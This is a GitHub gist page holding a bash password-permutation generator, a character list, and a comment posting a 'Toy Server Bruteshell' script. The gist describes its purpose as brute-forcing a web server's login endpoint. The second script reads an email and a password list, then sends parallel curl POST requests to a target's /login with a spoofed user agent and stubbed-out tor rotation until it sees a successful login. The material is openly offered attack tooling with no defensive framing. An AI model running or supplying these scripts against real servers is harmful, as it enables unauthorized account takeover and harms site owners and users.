Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save isocroft/bf3027c7cafdb21c0e011fb37a0dca92 to your computer and use it in GitHub Desktop.
Save isocroft/bf3027c7cafdb21c0e011fb37a0dca92 to your computer and use it in GitHub Desktop.
A bash script for generating all possible unique passwords for brute-forcing a web servers' login endpoint without adequate security protections
#!/bin/bash
# BrutePassGen v1.0
# Coded by: github.com/isocroft
# X: @isocroft
# @INFO: A very minimal yet specific `readarray`-like implementation using `read`.
# @INFO: Older versions of bash (v3 and below) do not support `readarray` or `mapfile`.
if ! type -t readintoarray >/dev/null; then
# @NOTE: Does NOT work with lines that contain double-quotes due to the use of `eval()` here.
# @NOTE: Ensures the use of glob patterns (e.g. *) without issues like reading directory file names.
readintoarray() {
local cmd opt t v=MAPFILE
while [ -n "$1" ]; do
case "$1" in
-h|--help) echo "minimal substitute readarray for older bash"; exit; ;;
-r) shift; opt="$opt -r"; ;;
-t) shift; t=1; ;;
-u)
shift;
if [ -n "$1" ]; then
opt="$opt -u $1";
shift
fi
;;
*)
if [[ "$1" =~ ^[A-Za-z_]+$ ]]; then
v="$1"
shift
else
echo -en "${C_BOLD}${C_RED}Error: ${C_RESET}Unknown option: '$1'\n" 1>&2
exit
fi
;;
esac
done
cmd="read $opt"
set -o noglob
eval "$v=()"
while IFS= eval "$cmd line"; do
line=$(echo "$line" | sed -e "s#\([\"\`\$]\)#\\\\\1#g" )
eval "${v}+=(\"$line\")"
done
eval "${v}+=(\"$line\")"
}
fi
generate_permutations() {
local -a symbols_arr=($1)
local id_length=$2
local num_symbols=${#symbols_arr[@]}
# @HINT: Initialize with an empty string if ID length is 0, or single symbols if ID length is 1
if (( id_length == 0 )); then
echo ""
return
elif (( id_length == 1 )); then
for symbol in "${symbols_arr[@]}"; do
echo "$symbol"
done
return
fi
local -a current_ids=()
for symbol in "${symbols_arr[@]}"; do
current_ids+=("$symbol")
done
# @HINT: Iteratively build IDs of increasing length based on permutations
for (( len=2; len<=id_length; len++ )); do
local -a next_ids=()
for id in "${current_ids[@]}"; do
for symbol in "${symbols_arr[@]}"; do
next_ids+=("$id$symbol")
done
done
current_ids=("${next_ids[@]}")
done
length=${#current_ids[@]}
for id in "${current_ids[@]}"; do
#echo "$id"
echo -e "$id\n" >> passwords.lst
done
printf "\r\n\n"
echo "Total number of passwords generated: $length"
printf "\r\n"
}
if [[ $1 == "--help" || $# -lt 2 ]]; then
echo "Usage: $0 <symbols_file> <id_length>"
echo " <symbols_file>: Path to a file containing unique symbols/characters, one per line."
echo " <id_length>: The desired length of the unique passwords to generate."
exit 1
fi
symbols_file="$1"
id_length="$2"
if ! [[ "$id_length" =~ ^[1-9][0-9]*$ ]]; then
echo "Error: ID length must be a positive integer."
exit 1
fi
if [[ "$symbols_file" != *.txt ]]; then
echo "$symbols_file is not a text file. Please supply a text file"
exit 1
fi
if [[ ! -f "$symbols_file" ]]; then
echo "Error: File '$symbols_file' not found."
exit 1
fi
# @HINT: Map every symbol/character on each line in the file into respective array index for: 'unique_symbols'
readintoarray -t unique_symbols < "$symbols_file"
# @HINT: Check if the symbols array (from the symbols file) is empty
if (( id_length > 0 )) && (( ${#unique_symbols[@]} == 0 )); then
echo "Error: No symbols found in '$symbols_file'. Please ensure the file contains symbols/characters, one per line."
exit 1
fi
echo "Generating unique passwords of length $id_length using symbols from '$symbols_file'..."
echo "Symbols available: ${unique_symbols[*]}"
echo "--- Passwords Generation Started ---"
# @HINT: Convert array to a space-separated string for passing to function.
# @INFO: This is a common way to pass arrays in bash when functions don't explicitly take array references.
IFS=' ' symbol_string="${unique_symbols[*]}"
generate_permutations "$symbol_string" "$id_length"
echo "--- Passwords Generation Completed ---"
@isocroft
Copy link
Author

isocroft commented Jun 16, 2025

0
1
2
3
4
5
6
7
8
9
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
!
@
#
$
%
&
=
+
-
*
>
<
;
?

@isocroft
Copy link
Author

isocroft commented Jun 16, 2025

#!/bin/bash

# Toy Server Bruteshell v1.0
# Coded by: github.com/isocroft
# X: @isocroft

trap 'exit 1' 2 # SIGINT signal
trap 'echo "Error: Terminating script...";exit 1' ERR

checkroot() { 
if [[ "$EUID" -ne 0 ]]; then
printf "\e[1;91mError: This script must be run as root (i.e. use 'sudo').\n\e[0m" >&2
exit 1
else
printf "\e[1;77mStarting up...\n\e[0m"
fi
}

function changeip() {
#killall -HUP tor
echo "The tor proxy is not available for use" >&2
exit 1
}

dependencies() {
# Check if dependencies needed are installed
#command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; }
command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; }
}

banner() {
# print graphic banner
printf "\e[1;36m      _  _      ______     "           
printf "\e[1;36m    _| || |_   |......|    "
printf "\e[1;36m   |_  __  _| | |_|  |     "
printf "\e[1;36m    _| || |_   | |_| |...| "
printf "\e[1;36m   |_  __  _| | |\ \/|...| "
printf "\e[1;36m     |_||_|     \_/ \////  "
printf "\n"
printf "\e[1;77m\e[44m Toy Server BruteShell v1.0 Author: @isocroft (Github/X)\e[0m\n"
printf "\n"
}

function start() {
banner
checkroot
dependencies
read -p $'\e[1;92mEnter server full url (origin): \e[0m' url
# Check that the server can be receive connection from a client
checkserver=$(curl -L -s $url | grep -i -c "sorry, ")
if [[ "$checkserver" == 1 ]]; then
printf "\e[1;91mServer Not Found\e[0m\n" >&2
sleep 1
start
else
default_wl_pass="passwords.lst"
read -p $'\e[1;92mPassword List File Path (Press <Enter> to use default list): \e[0m' wl_pass
wl_pass="${wl_pass:-${default_wl_pass}}"
default_threads="10"
read -p $'\e[1;92mEnter number of threads to use (Use < 20, Default 10): \e[0m' threads
threads="${threads:-${default_threads}}"
fi
}

function attack () {
#Extract the number of passwords from the passwords file
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
uagent="Mozilla/5.0 (Series40; NokiaX2-02/10.90; Profile/MIDP-2.1 Configuration/CLDC-1.1) Gecko/20100401 S40OviBrowser/1.0.2.26.11"
token=0
result=0
startline=1
endline="$threads"
read -p $'\e[1;92mEnter email address for server login page: \e[0m' email
while [ $token -lt $count_pass ]; do
# Read password from line 1 to the number of threads from the passwords file
# See:https://myshell.co.uk/blog/2012/07/sed-unix-stream-editor-cheat-sheet/
for password in $(sed -ne ''$startline','$endline'p' $wl_pass); do
let token++
{(trap '' SIGINT && result+=$(curl --parallel -L -s "$url/login" -A "$uagent" -X POST -H 'Content-Type: application/json' -d '{"email":\""$email"\","password":\""$password"\","remember_me":true}' | grep -i -c "successful login"))} & done; wait;
if [[ "$result" -gt 0 ]]; then
  printf "\r\n\n" 
  echo "Login successful"
  
  exit 0
fi
let startline+=$threads
let endline+=$threads
done
}

start
attack

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment